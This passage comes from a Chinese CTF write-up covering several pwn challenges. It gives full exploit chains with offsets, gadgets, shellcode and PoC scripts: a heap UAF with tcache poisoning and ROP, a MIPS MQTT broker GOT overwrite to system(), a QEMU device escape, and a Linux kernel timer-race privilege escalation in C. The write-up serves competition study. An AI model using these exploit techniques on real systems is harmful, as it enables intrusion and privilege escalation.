free 后仍向旧指针写入,构成use-after-free;复制长度取整行原始长度,上限1023。 ! 标记的逻辑长度受48字节限制,但标记中含NUL时复制仍按整行长度进行,所以一条241字节的 ! 行既能越过容量阈值引发扩容与 free ,又能把240字节写进已释放的 0x100 大小类块。
地址链全靠相对读取: struct+0 为代码指针,减 0x1740 得PIE; struct+0x20 指向 struct+0x30 ,减 0x30 得 struct ; _dl_argv (PIE +0x5fd8 )的 +0x90 指向初始栈auxv,保存的返回地址固定在 auxv-0x268 ,该槽低2字节等于 PIE+0x15f8 ,可验证推断。
3. 解题过程
-
以相对偏移读
struct+0与struct+0x20,得到PIE与struct基址,再顺_dl_argv → auxv定位保存返回地址的栈槽。 -
旧缓冲按
0xf0申请,释放后落进0x100类。先发一条约200字节普通行,让同类多出一个空闲块,保证tcache计数足够。 -
发触发行(241字节
!行,标记中埋NUL),free(old)之后紧接的复制把旧块next改写为target ^ (old >> 12),绕过glibc≥2.32的异或保护。 -
再发两条240字节
!行:第一条把旧块取回,第二条malloc直接返回编码出的栈地址,240字节负载落在保存返回地址之前。 -
目标槽取
saved_ret-8/24/40/56且16字节对齐处;!行过滤器拒绝小写字母、%与换行,编码后8字节不合法就重连换一个ASLR样本。 -
负载以NUL加填充开头,接ROP:
pop rdi; pop rbp; ret、pop rsi; pop rbp; ret、pop rdx; ret设好mprotect(栈页, 0x2000, 7)参数,再跳mprotect@plt(PIE+0x1340)把栈页改为可执行。gadget取自ICU,基址由ld数据指针减0x24aa58得到,并逐个校验首字节。 -
栈页可执行后转入紧随的shellcode。seccomp禁止
execve,故直接ORW:先open("/flag"),失败再open("flag"),读入rsp-0x300后write到fd 1。
4. PoC
import re
import socket
import struct
REWARD = re.compile(rb'\[REWARD\] \+0x([0-9a-f]+) len=(\d+): ([0-9a-f]+)')
SHELLCODE = bytes.fromhex(
'488d3d3a000000''31f6''b802000000''0f05'
'488d3d30000000''31f6''b802000000''0f05'
'89c7''488db42400fdffff''ba00010000''31c0''0f05'
'89c2''bf01000000''b801000000''0f05'
'2f666c616700''666c616700'
)
def row_for(delta):
# 第i行权重i+1,从高权重向低权重贪心分解,末位微调使误差归零
row = [0] * 64
for i in range(63, -1, -1):
w = i + 1
step = max(-127, min(127, delta // w))
row[i] = step & 0xff
delta -= step * w
assert delta == 0
returnb'\n'.join(bytes([v]) for v in row)
class Oracle:
def __init__(self, host, port, predict):
self.s = socket.create_connection((host, port), timeout=5)
self.s.settimeout(30)
self.predict = predict # predict(seq, byte) -> (OFFSET, LEN)
self.seq = 0
self.prompt()
def prompt(self):
buf = b''
whileb'[INPUT]:\n'notin buf:
buf += self.s.recv(65536)
return buf
def byte_at(self, delta):
canvas = row_for(delta) + b'\n'
for _ in range(4):
self.seq += 1
self.s.sendall(canvas)
m = REWARD.search(self.prompt())
off, ln = int(m[1], 16), int(m[2])
cand = [b for b in range(256) if self.predict(self.seq, b) == (off, ln)]
if len(cand) == 1:
return cand[0]
raise RuntimeError('ambiguous byte, retry with new canvas')
def qword(self, delta):
return sum(self.byte_at(delta + k) << (8 * k) for k in range(8))
def rop(pie, icu, page, g):
p = lambda v: struct.pack(', v)
chain = p(icu + g[0]) + p(page) + p(0)
chain += p(icu + g[1]) + p(0x2000) + p(0)
chain += p(icu + g[2]) + p(7) + p(pie + 0x1340)
returnb'\0' * 8 + b'A' * 16 + chain + SHELLCODE
def bang(data):
# 标记埋NUL,逻辑长度不超过48,复制按整行240字节
returnb'!' + b'\0' + data.ljust(239, b'A') + b'\n'
def exploit(oracle, saved_ret, pie, icu, old_chunk, g):
page = saved_ret & ~0xfff
target = next(saved_ret - b for b in (8, 24, 40, 56) if (saved_ret - b) % 16 == 0)
oracle.s.sendall(b'B' * 199 + b'\n' + b'\n' * 63) # 多造一个0x100空闲块
oracle.s.sendall(bang(struct.pack(', target ^ (old_chunk >> 12))))
oracle.s.sendall(bang(b'')) # 把旧块取回
oracle.s.sendall(bang(rop(pie, icu, page, g))) # malloc返回栈地址并写链
PWN11-oldsvr
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
附件题
|
|
附件
|
server、MIPS64大端uClibc 1.0.32、动态加载器
|
|
目标
|
无(离线附件)
|
Flag:flag{1ec6896ee054f9cab370a5a8473c30ee}
2. 题目分析
server 是裁剪过的MQTT broker,只实现CONNECT、SUBSCRIBE、UNSUBSCRIBE、PUBLISH、PINGREQ,订阅表固定14槽,每槽存主题指针、payload指针与长度。报文为1字节定长头加7位一组的剩余长度,主题名前带2字节长度,解析出的长度既用于 malloc 也直接当 memcpy 字节数。认证只在CONNECT做一次,之后报文不再校验身份,堆上状态可跨报文反复利用。
程序PIE+NX、无Canary; checksec 报Full RELRO,但 GNU_RELRO 只覆盖 0x1ffe0~0x20000 , free@GOT=PIE+0x20220 、 malloc@GOT=PIE+0x202b0 落在其后的可写段。uClibc堆无tcache与safe-linking,空闲块靠双向链表管理,unlink校验 fd->bk==P 且 bk->fd==P ,伪造块头让两个指针都指回同一处即可通过,并把任意地址写成 fd ;大端平台下回包长度、块头与伪造指针都按大端64位填写。
释放路径分两条。短消息( 0 )在 0x37d8 先按 topic_len+payload_len 申请临时块并立刻释放,再 free(slot->payload) ,最后仍用这个已释放指针拼回包,前8字节正是uClibc写入的空闲链表 fd ,堆地址随响应外泄。长消息把 free(slot->payload) 推到最后,块在回包期间存活,可当作溢出的相邻目标。槽满时 0x3e80 只 malloc 主题名,不写表也不释放,可用来推移堆布局。
溢出点在回包构造函数 0x2610 ,总长存进有符号16位:
int16_t total = payload_len + 14 + 2;
out = malloc(total);
memcpy(out + 2 + 14, payload, payload_len);
payload_len=65520 时 total=(int16_t)65536=0 , malloc(0) 只返回最小块, memcpy 仍写65520字节,分配尺寸与拷贝尺寸脱钩。偏移以复制目的地址 D 为基准,越界数据从相邻块头开始覆盖:
|
偏移
|
写入值
|
用途
|
|---|---|---|
D+0x06 |
0xb1 |
保留别名块的size
|
D+0x1e |
T-0x18 |
伪造前驱块的
fd |
D+0x26 |
T-0x10 |
伪造前驱块的
bk |
D+0xae |
0xa0 |
victim的
prev_size |
D+0xb6 |
0xb0 |
victim的size,清除
PREV_INUSE |
D+0x166 |
0x21 |
让大消息源块释放时进小块链表
|
D+0x186 |
0x21 |
保持相邻块状态通过释放检查
|
T = PIE+0x20368 是第一个普通槽的payload指针字段。victim块头在 D+0xae , prev_size=0xa0 使前驱算成 P=D+0x0e (别名消息用户区),而 *T 本就等于 P ;令 fd=T-0x18 、 bk=T-0x10 ,两次检查读到的都是 *T=P ,unlink通过后 *T 被写成 T-0x18 ,槽指针移到BSS前方。
3. 解题过程
-
认证:Client ID为
QWB_Client,用户名逐字节异或0x1d后得QWB2026_Admin;密码做MD5后用strncmp(digest, expected, 16)校验,预期摘要第3字节为NUL,比较提前结束,只需MD5前3字节为52 2a 00。枚举得password=1540124,CONNECT返回20 02 00 00。 -
订阅
QWB2026_News并连续6次PING使计数为6,再向该主题发24字节消息,回包用悬空指针读出堆指针(PIE+0x22120附近),按(leak-0x22000) & ~0xfff得PIE基址。 -
槽耗尽整理堆:远程额外订阅100次,本地QEMU用2000次,把后续分配位置推到可预测处。
-
向第一个主题发73、160字节、第二个发160字节切出
0x60空洞,再向第一个主题发payload_len=65520的消息触发截断溢出,按上表写入伪造块头、前驱指针与victim size。 -
取消订阅victim触发unlink,
*T被写成T-0x18。 -
再次PUBLISH第一个主题,按被改写的指针做
memset/memcpy,把伪造槽记录写进BSS:槽1 topic指向cat /f*、payload为free@GOT,槽2 topic指向malloc@GOT、payload为1。 -
用槽1向GOT连写80字节:
free换成write桩PIE+0x6d40,memset换成直接返回的PIE+0x30c0,memcmp换成剩余长度解析函数PIE+0x42f4(第二字节为0时返回0,零长度主题即可匹配)。 -
零主题取消订阅8字节选中槽2,两次释放分别以GOT地址和
1为fd调用write,回包带回malloc@libc=0xfff7f5eca0,libc_base=malloc-0x5dca0=0xfff7f01000。 -
同一连接内用零主题PUBLISH把
free@GOT改成libc_base+0x65370(system),再取消订阅零主题,free(topic)的实参指向BSS里的cat /f*,等价system("cat /f*"),回包带出flag。
MIPS64的 jr $ra 链需先控 $sp ,而泄露只有PIE与libc、溢出落在堆上,故改用GOT级复用,一次绝对地址写入即可完成函数替换。
4. PoC
import socket
import struct
def enc_len(n):
out = b''
whileTrue:
low, n = n & 0x7f, n >> 7
out += bytes([low | (0x80if n else0)])
ifnot n:
return out
def pkt(typ, body):
return bytes([typ]) + enc_len(len(body)) + body
def s16(b):
return struct.pack('>H', len(b)) + b
def subscribe(mid, topic):
return pkt(0x82, struct.pack('>H', mid) + s16(topic) + b'\x00')
def unsubscribe(mid, topic):
return pkt(0xa2, struct.pack('>H', mid) + s16(topic))
def publish(topic, payload):
return pkt(0x30, s16(topic) + payload)
def build_overflow(pie, payload):
# 偏移以复制目的地址 D 为基准,即 payload 起点
T = pie + 0x20368
fields = [(0x06, 0xb1), (0x1e, T - 0x18), (0x26, T - 0x10),
(0xae, 0xa0), (0xb6, 0xb0), (0x166, 0x21), (0x186, 0x21)]
buf = bytearray(payload)
for off, val in fields:
buf[off:off + 8] = struct.pack('>Q', val)
return bytes(buf)
def exploit(s, pie, leak_malloc):
s.sendall(subscribe(1, b'/a') + subscribe(2, b'/b'))
s.sendall(publish(b'/a', b'A' * 73))
s.sendall(publish(b'/a', b'B' * 160) + publish(b'/b', b'C' * 160))
s.sendall(publish(b'/a', build_overflow(pie, b'D' * 65520)))
s.sendall(unsubscribe(3, b'/b')) # 触发 unlink,*T 写成 T-0x18
s.sendall(publish(b'/a', b'E' * 8)) # 伪槽记录写入 BSS
s.sendall(publish(b'/a', b'F' * 80)) # 改 free/memset/memcmp 的 GOT
s.sendall(unsubscribe(4, b'')) # 零主题:write 桩泄 malloc@libc
s.sendall(publish(b'', struct.pack('>Q', leak_malloc - 0x5dca0 + 0x65370)))
s.sendall(unsubscribe(5, b'')) # free("cat /f*") -> system
PWN12-ez_qemu
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+容器)
|
|
附件
|
ez_qemu_39e1895599f72e453332331ab83b08eb.zip
|
|
目标
|
从guest串口root shell逃逸到宿主,读取/tmp/flag_f
|
Flag:flag{动态容器已脱敏}
2. 题目分析
xinetd每来一个连接就fork一次 run.sh ,用 -M q35 -m 512M -accel tcg -no-reboot -display none -monitor none -serial stdio 启动改过的QEMU,挂 ctf-nic 、 ctf-watchdog 、 ctf-audio 、 ctf-logger 、 ctf-msg 五个设备,stderr单独重定向到日志。因此PIE基址、堆布局、定时器对象地址每个连接都不同,exp不能跨连接复用地址;TCG只有一个vCPU线程,guest的MMIO回调都在该线程串行执行,这决定了后面malloc arena的选择。QEMU以ctf用户运行,而 /tmp/flag_f 是root:ctf 740,只要能在宿主进程里执行一条命令即可读flag。
guest是BusyBox init加root shell,可读 /proc/self/pagemap 、可访问 /sys/bus/pci/devices/*/resource0 ,但没有编译器和完整libc,exp必须是freestanding的静态ELF,经串口base64+gzip上传,用 uudecode 、 gzip -dc 还原。
设备功能与偏移:
|
设备
|
作用
|
|---|---|
ctf-nic |
按DMA描述符向guest物理地址写数据,落到BAR区间即触发其他设备的MMIO
|
ctf-watchdog |
分配/释放0x58字节定时器对象,reset只换对象不停表
|
ctf-audio |
分配/释放0x58缓冲,可从guest内存拷入数据
|
ctf-logger |
MMIO回调栈上开0x1000缓冲,按偏移DMA回guest,越界读可泄露PIE
|
ctf-msg |
对象创建/释放/调用,本链未使用
|
所有设备的BAR0都是0x1000,回调先取 addr & ~3 定位寄存器,故每次写入都是4字节寄存器写。 -device 顺序即槽位:nic为03.0、watchdog为03.1、audio为03.2、logger为03.3。各设备realize时把同一个全局上下文指针存到 dev+0xb10 ,上下文第0项就是watchdog的0x58定时器对象,NIC的RX收尾正是从它取回调。
watchdog : +0x10 reset分配新的0x58对象并 g_free 旧对象, +0x20 写message并装载定时器, +0x28 释放对象并把共享上下文里的指针置空。对象布局为 +0x00 QEMUTimer指针、 +0x08 起0x40字节message、 +0x48 回调指针、 +0x50 状态字;reset全程没有 timer_del ,已装载的QEMUTimer仍指向旧块,默认1000毫秒超时,构成UAF。
audio : +0x00 分配0x58缓冲, +0x04 释放并置空, +0x08/+0x0c 为64位guest物理源地址, +0x10 为最大长度, +0x14 commit从源地址拷 min(len, 0x50) 字节到缓冲,正好覆盖块首到块尾。
logger : +0x00/+0x04 为目的物理地址, +0x08 为宿主缓冲内偏移, +0x0c 为长度, +0x10 触发。回调栈上缓冲0x1000字节,长度用 0x1000 - off 取余量; off 为32位无符号,取 0x1010 时余量下溢成极大值,min的结果就是 len ,源指针越过缓冲末尾,栈内容被DMA回guest。
nic : +0x10/+0x14 为RX描述符物理地址, +0x1c 触发RX。描述符长0x28:
struct desc {
uint64_t a0; uint32_t l0; uint32_t r0;
uint64_t a1; uint32_t l1; uint32_t r1;
uint64_t st;
};
RX从内部缓冲向 a0 、 a1 各写 l0 、 l1 字节(单段上限0x800),最后向 st 写4字节值1,三个地址都是guest物理地址,落在BAR区间就被转发成MMIO写。RX入口先把 ctx->timer 缓存到栈上,DMA与中断处理期间不再回读,收尾直接用缓存指针 call [obj+0x48] ,参数固定为 obj+8 。
于是时序为:在vCPU线程对watchdog做 +0x10 reset,让新对象落在该线程的arena;用audio做7次alloc/free填满 0x60 类的tcache;RX入口缓存旧定时器;描述符依次写watchdog +0x28 (释放)、audio +0x00 (取回同一块)、audio +0x14 (拷入0x50字节,覆盖 +0x08 的命令串与 +0x48 的回调)。释放、复用、覆盖必须落在同一次RX回调内且 st 在 a0 、 a1 之后,否则回调仍指向原函数,或旧定时器在覆盖前到期。 g_malloc0 走 calloc 不取tcache, g_free 在tcache满时进fastbin,所以第8次释放才进入fastbin、被下一次 calloc 取回,7是tcache每类的槽数。
3. 解题过程
-
枚举四个BAR,
mmap其resource0,向配置空间+0x04写command |= 7打开MMIO与bus master;mmap一页匿名内存并mlock,通过pagemap取物理地址。这一页同时充当logger的DMA目的、audio的DMA源与NIC描述符存放处:
uint64_t entry;
pread(fd, &entry, 8, (ptr >> 12) * 8);
pa = ((entry & ((1ULL << 55) - 1)) << 12) | (ptr & 0xfff);
-
向logger写
{pa, 0x1010, 0x80, 1}触发越界拷贝,从guest页+0x08读出返回地址,校验低12位为0x2c7后base = ret - 0x4132c7,system_plt = base + 0x2e2c90。 -
清空guest页,
+0x08写/bin/cat /tmp/flag_f,+0x48写system_plt,audio配好源地址与0x50长度,commit时把命令与回调拷进定时器块。 -
对watchdog执行
+0x10reset(新对象落vCPU arena),audio做7次alloc/free填满tcache。 -
在guest页
+0x100构造描述符,把其物理地址写入NIC+0x10/+0x14,写NIC+0x1c触发RX:
d->a0 = bar[1] + 0x28; d->l0 = 4; // watchdog free
d->a1 = bar[2]; d->l1 = 4; // audio alloc
d->st = bar[2] + 0x14; // audio commit
-
RX收尾用缓存的旧指针取
+0x48得到system_plt,以已变成命令串的+0x08为唯一参数调用,flag经QEMU的stdout(即串口socket)回显。 -
上传:宿主侧
gzip -9压缩、base64按76列切行包进heredoc,guest侧uudecode、gzip -dc、chmod +x后运行,每行之间留约25ms避免ttyS0丢字符;收尾在guest执行poweroff -f,否则QEMU空跑到600秒超时。
4. PoC
import base64
import gzip
import socket
import time
def upload_lines(binary):
packed = gzip.compress(binary, compresslevel=9, mtime=0)
encoded = base64.b64encode(packed).decode()
lines = ["cat > /e.b64 <<'EOF'", 'begin-base64 644 /e.gz']
lines += [encoded[i:i + 76] for i in range(0, len(encoded), 76)]
lines += ['====', 'EOF', 'uudecode /e.b64', 'gzip -dc /e.gz > /e',
'chmod +x /e', '/e']
return lines
def run(host, port, binary, flag_cmd=b'poweroff -f\n'):
s = socket.create_connection((host, port), timeout=25)
s.settimeout(0.3)
buf = b''
def wait_for(marker, timeout=60):
nonlocal buf
end = time.monotonic() + timeout
while marker notin buf and time.monotonic() < end:
try:
buf += s.recv(16384)
except socket.timeout:
pass
return buf
wait_for(b'/ # ')
for line in upload_lines(binary):
s.sendall(line.encode() + b'\n')
time.sleep(0.025) # ttyS0 队列很浅,逐行发送
wait_for(b'[+] RX finished')
s.sendall(flag_cmd) # 读 flag 后关机,让 QEMU 立即退出
time.sleep(0.5)
print(buf.decode(errors='replace'))
s.close()
PWN13-CanonicoPWN
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
容器题,无附件
|
|
附件
|
无
|
|
目标
|
nc
|
Flag:flag{动态容器已脱敏}
2. 题目分析
环境为Ubuntu 26.04 LTS的QEMU虚拟机,串口控制台直落 ctf (uid 1000、 CapEff 为0), /flag 指向 /dev/vda ( 0400 root:root ),只能内核提权后读块设备。 /init 关掉了userns、io_uring、perf与unprivileged BPF, kptr_restrict=2 、 dmesg_restrict=1 ,cmdline带 oops=panic panic=-1 ,无setuid文件与自定义设备,攻击面只剩通用syscall。
内核是自编译的 7.0.0-39-generic (源码 -39.39 ), /proc/kallsyms 地址归零但符号名可读,与官方 -39.39 的 System.map 比对仅差构建项。修复补丁 acb03d388181 (exec: Cleanup POSIX timers right after de_thread)首次出现在 7.0.0-41.41 ,目标版本缺失。
漏洞:非leader线程 execve() 时 de_thread() 先完成TID交换并 release_task(旧leader) ,而 posix_cpu_timers_exit() 在 begin_new_exec() 里排在 exec_mmap() 等可失败操作之后。 exec_mmap() 的 mmap_read_lock_killable 被 SIGKILL 打断后任务已过point of no return只能退出,清理不执行。退出路径 exit_itimers() → posix_cpu_timer_del() 中 pid_task() 查不到任务就 goto out ,跳过 timerqueue_del() ,而 put_pid() 与 kfree_rcu() 照常执行, struct cpu_timer.node 仍留在存活任务的timerqueue里,队列本身不持有引用计数。父进程回收僵尸时 __exit_signal() → cleanup_timerqueue() 再摘一次,对已回收slab执行 rb_erase() 。
BTF核对的偏移:
|
字段
|
偏移
|
|---|---|
sizeof(struct k_itimer) |
0x180 |
k_itimer.it.cpu |
0xe0 |
cpu_timer.node/head/elist/handling |
0x0/0x20/0x30/0x48
(
0xe0/0x100/0x110/0x128 ) |
|
CPUCLOCK_SCHED tqhead
|
0xca0 |
task_struct.cred |
0xd00 |
窗口须在TID交换后、 exec_mmap() 拿到 mmap_lock 前发 SIGKILL ; tgkill 返回 ESRCH 即交换完成,50000个单页VMA与3个同 mm helper把锁占满,killer才插得进去。
父进程 waitid(WNOWAIT) 留住僵尸,279个filler与392个候选timer填RCU sheaf,回收后节点残留在worker树里;释放候选清空slab、PCP预热,再用64000匿名页与AIO ring页回收该页。
oracle:worker耗CPU触发 collect_posix_cputimers() ,内核写 handling=current ( object+0x128 ),worker在伪造 it_lock 上自旋;扫描页内指针得到 task_struct ,解锁后 list_del_init(&ctmr->elist) 写出direct map地址, kernel_object=elist-0x110 。
覆盖cred:页内伪造
A{parent=C, left=task+0xd00, head=task+0xca0}
C{parent=M, right=A} M{left=C+8, head=task+0xca0}
第二轮 collect_timerqueue() 处理A时 rb_erase 执行 tmp->__rb_parent_color=pc , tmp=A.left=&task->cred 、 pc=C=fake_cred ,即 task->cred=fake_cred ;处理M把 C+8 写0清uid/gid。伪造cred的euid/fsgid为0、capability全1, security 指向假AppArmor label, user_ns 的level置1。
适配:guest开了 la57 ,direct map在 ff11... ,判据改为 (v>>56)==0xff ; /tmp 是 nosuid ,暂存目录用 /home/ctf 前先 chmod 777 ,否则能力被 cap_capable() 拒绝;喷射用 io_setup ring地址跳过64000次 mremap 。
3. 解题过程
-
侦察:读
/proc/version、/proc/config.gz、/proc/kallsyms与/proc/devices,确认7.0.0-39-generic、无自定义设备、CapEff=0。 -
取官方
linux-image-unsigned与linux-modules包,用vmlinux-to-elf还原带符号vmlinux,解析.BTF核对偏移,按CVE-2026-98260展开。 -
子进程内非leader线程用
CLOCK_THREAD_CPUTIME_ID建远期timer后execve("/proc/self/exe");同mm的3个helper反复mprotect50000个单页VMA,killer轮询tgkill,见ESRCH即SIGKILL。 -
父进程
waitid(WNOWAIT)留住僵尸,喷射filler与候选timer后waitpid回收,cleanup_timerqueue()把节点挂进worker队列;清空slab后用匿名页与AIO页回收该页。 -
worker触发
collect_posix_cputimers(),从伪造页读出task_struct与direct map地址,算出两者固定偏移。 -
按A/C/M布局重排伪造页,第二轮回收把
task->cred指向伪造cred。 -
worker以fsuid 0在
/home/ctf建root文件并chmod 4755,预留的launcher用合法credexecve它拿到euid 0,读/dev/vda搜flag{。
4. PoC
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define VMA_COUNT 50000UL
staticpid_t g_tgid;
staticuintptr_t g_vma;
static void *vma_helper(void *arg)
{
for (;;)
for (unsignedlong i = 0; i < VMA_COUNT; i++)
mprotect((void *)(g_vma + i * 0x1000), 0x1000,
(i & 1) ? PROT_READ : (PROT_READ | PROT_WRITE));
returnNULL;
}
static void *killer(void *arg)
{
pid_t tid = (pid_t)(uintptr_t)arg;
for (;;)
if (syscall(SYS_tgkill, g_tgid, tid, 0) < 0) {
kill(tid, SIGKILL); /* TID交换已完成 */
returnNULL;
}
}
static void *exec_thread(void *arg)
{
struct sigevent sev = { .sigev_notify = SIGEV_NONE };
struct itimerspec its = { .it_value = { .tv_sec = 3600 } };
pid_t *tid = arg;
timer_t t;
*tid = syscall(SYS_gettid);
if (!timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t))
timer_settime(t, 0, &its, NULL);
execl("/proc/self/exe", "poc", NULL);
returnNULL;
}
/* 子进程:helper争锁,exec线程被杀后留下悬空node */
static pid_t spawn_stale(void)
{
pid_t pid = fork(), tid = 0;
pthread_t th[4];
if (pid)
return pid;
g_tgid = getpid();
for (int i = 0; i < 3; i++)
pthread_create(&th[i], NULL, vma_helper, NULL);
pthread_create(&th[3], NULL, exec_thread, &tid);
while (!tid)
usleep(1000);
pthread_create(&th[3], NULL, killer, (void *)(uintptr_t)tid);
for (;;)
pause();
}
/* 伪造A/C/M三节点,第二次rb_erase把fake_cred写进task->cred */
static void forge_tree(uint8_t *page, uint64_t task, uint64_t cred)
{
uint64_t *A = (uint64_t *)(page + 0x200), *C = A + 0x20, *M = A + 0x30;
A[0] = (uint64_t)C; A[2] = task + 0xd00; A[3] = task + 0xca0;
C[0] = (uint64_t)M; C[1] = (uint64_t)A; C[3] = task + 0xca0;
M[1] = (uint64_t)(C + 1); M[3] = task + 0xca0;
memset((void *)cred, 0, 0x100);
}
static void root_payload(void)
{
unsignedlonglong size = 0;
unsignedchar *buf;
ssize_t got = 0, n;
setresuid(0, 0, 0);
int fd = open("/dev/vda", O_RDONLY | O_CLOEXEC);
if (fd < 0)
_exit(1);
if (syscall(SYS_ioctl, fd, 0x80081272UL, &size) || !size)
size = 8ULL << 20;
size = size > (64ULL << 20) ? 64ULL << 20 : size;
buf = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while (got < (ssize_t)size && (n = read(fd, buf + got, size - got)) > 0)
got += n;
write(1, buf, got);
}
PWN14-hexachord
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
容器题
|
|
附件
|
PWN14-Hexachord.rar(复现包,约1.35MB)
|
|
目标
|
47.95.113.113:20549(现场实例)
|
Flag:flag{动态容器已脱敏}
题目说明:古堡幽深,六弦琴久寂;今琴灵忽醒,以六音为律,封终章碑文于二十乐章之中。每章皆藏残章一枚,须入秘境亲取。至少破三章,石碑乃现;集齐二十残章,碑文方得重铸。
2. 题目分析
二十章流程与双角色咒文
服务在一条TCP连接里连续进行二十个乐章,残章、结算与终章密文都绑定在这条会话上。每章先输出 target: 加80个十六进制字符(40字节魔方状态),随后给出菜单 1) 调弦 2) 翻阅琴谱 3) 开辟共鸣腔 4) 弹奏 5) 哑弦 6) 离去 。菜单4接收至多31字节咒文,校验器比对通过后回显 ACCEPT ,同一串字节紧接着作为x86-64机器码执行;发送 6 才进入下一章,外层wrapper在离开时才判定“残章到手”并计分。
target 的40字节按 cp[8] || co[8] || ep[12] || eo[12] 切分,依次是角块置换、角块朝向、棱块置换、棱块朝向;复原态为 cp=0..7 、 co 全1、 ep=0..11 、 eo 全1。转动表是一段0x118字节的二进制,六个面依次存放8字节 CP 、8字节 CO 、12字节 EP 、12字节 EO 。执行转动时置换按表重排索引,角块朝向用GF(4)乘法,棱块朝向模3相乘。朝向从1开始计数而不是从0,这是它和常见Kociemba面串最大的差别,也是不能直接套现成求解器的原因。
校验器只读原始字节, byte % 6 决定执行 URFDLB 中的哪一个顺时针四分之一转,与字符、编码无关。同一串字节随后又被当作代码执行,于是每个字节承担双重语义:余数必须让魔方走向 target ,数值本身又必须是有用的一字节指令。 0x5a (90)既是 U 又是 pop rdx , 0x5c (92)既是 F 又是 pop rsp , 0xc3 (195)既是 D 又是 ret 。这条“余数与指令同时成立”的重合,就是把魔方公式变成栈迁移跳板的全部基础。
可用的单字节等价指令为: U→0x90 nop 、 R→0x91 xchg eax,ecx 、 F→0xf8 clc 、 D→0xf9 stc 、 L→0x64 fs前缀 、 B→0x65 gs前缀 ; L 后面若还有公式步,可写成 0xb2 imm8 ( mov dl,imm8 ),让立即数顺带承担下一面的余数,一次编码两步。枢轴之后剩下的公式字节无需执行,写成 0x30+面序号 即可满足校验。31字节上限来自菜单4的行缓冲,咒文内不能出现换行;一旦公式里凑不出“ pop面 → F → D ”这类子序列,就必须换一条公式。
搜索与预计算表
四分之一转下随机目标通常要18~21步,31字节预算看似宽裕,实际搜索空间约4.3×10¹⁹,纯在线搜索赶不上章节时限。做法是先把复原侧的投影树建好:用Kociemba的 twist/flip/slice 打包成 (twist*2048+flip)*495+slice ,得到约5070万个投影节点,从复原态正向展开深度10~12;求解时从 target 反向展开深度9~10,两边在投影坐标处相交即得一条不超过22步的公式,再沿父指针回放出 URFDLB 序列。压缩版投影树约1GiB、几十秒建完,建表必须在连接之前完成,否则一章超时就会连累整条会话。
搜索目标不只是“能还原”,而是“公式里含有可编码的枢轴子序列”。程序依次尝试三种入口: pop面 → F → D 配 pop rsp;ret , pop面 → D → D → D 配 pop rbp;leave;ret ,以及更宽松的 pop / BL / D 组合。若当前公式编不出,就对目标做24种整体旋转或24种镜像后重新求解,再把公式逐字符逆变换回原坐标。同一目标在不同视角下步数与形状都不同,换个视角往往就能凑出所需子序列。
菜单1/2与栈布局
菜单1把恰好112字节的祷文写进BSS的 PIE+0x5060 ,这里就是ROP链的落点。菜单2把路径按原始字节读入栈缓冲,最多255字节,其中偏移 0xf0 的8字节槽位正好会被枢轴当作返回地址弹出,填 PIE+0x5060 即可;走 leave 入口时填 PIE+0x5058 ,让 leave 先弹掉一个无害qword再 ret 到 PIE+0x5060 。路径载荷要以短串加 NUL 开头,末尾不能带换行,并用填充凑满255字节,这样读入会写满到0xf0之后的槽位,而不是在换行处提前截断。
用 /proc/64/auxv 取地址
PIE与ld.so基址每次运行都随机,但菜单2可以读任意路径。 /proc/64/auxv 是容器内服务父进程的辅助向量:16字节一对 (tag、value),从 AT_SYSINFO_EHDR(33) 开始,遇 tag==0 结束。 AT_PHDR(3) 指向内存中的程序头,而ELF程序头在文件内偏移0x40处,故 PIE = AT_PHDR - 0x40 ; AT_BASE(7) 就是动态链接器基址。gadget全部取自ld.so: pop rdi;pop rbp;ret 在 ld+0x25AC , pop rsi;pop rbp;ret 在 ld+0x599B , pop rdx;leave;ret 在 ld+0x1F5FB , pop rax;ret 在 ld+0x1548B , syscall;ret 在 ld+0x16629 附近。选auxv而不选 /proc/self/maps ,是因为它是定长二进制对,一次就读到加载器基址,省掉先泄漏libc的环节;PID64是容器PID命名空间里服务的固定编号, /proc/64/ 与后面 process_vm_writev(64,...) 指向同一个父进程。
fork子进程与 process_vm_writev 回写
菜单1/2/4都是一次性动作,状态由BSS页 PIE+0x5000 里的三个标记控制: tuned 在页内偏移 0x40 (4字节), read_once 与 spell_once 在 0x48 (共8字节)。校验通过后服务fork,由子进程执行咒文;子进程看到的标记已经置1,执行完就退出,父进程对此一无所知。因此只在子进程里清标记毫无用处,必须把子进程改好的整页写回父进程。第一段祷文正是这个序列: mprotect(PIE+0x5000,0x1000,7) 把该页改成可读写可执行,随后31字节代码清零 [PIE+0x5048] 与 [PIE+0x5040] ,再用 process_vm_writev (系统调用号311)把本进程的这一页写进PID64的同址页。成功后父进程的菜单1/2/4重新可用,同一章内还能第二次调弦、翻阅、弹奏。
31字节够用,是因为进入这段代码时寄存器已经就位: mprotect 成功返回 RAX=0 ,同时 RDI=PIE+0x5000 、 RSI=0x1000 、 RDX=7 , RBP 里还留着 call 要用的 syscall;ret gadget。代码只需“清零两个槽位→压入 iov_len 与 iov_base → rsi=mov r10 → dl=1 、 r8d=1 、 r9d=0 → rdi=64 → ax=311 → call rbp ”。local与remote两组iovec可以指向同一地址,因为fork之后父子地址空间布局完全一致, PIE+0x5000 在两边都是同一页。
/flag → /tmp/x 软链与过滤绕过
菜单2对含 flag 的路径会拒绝,但拒绝发生在255字节读入栈缓冲之后: 0xf0 槽位照样被写好, read_once 也没有被消耗,所以随后还能再读一次文件。第二段祷文用纯ROP调 __NR_symlink=88 ,把 /flag 链到 /tmp/x ;两条路径字符串直接写在祷文尾部( +80 与 +86 ),所有系统调用都经ld.so里的 syscall;ret gadget发起,避免原始 0f 05 字节被wrapper的指令过滤拦下。之后读 /tmp/x (路径不含 flag )就得到66位十六进制残章,离开该章时外层才确认计分。
十八枚残章与终章密钥
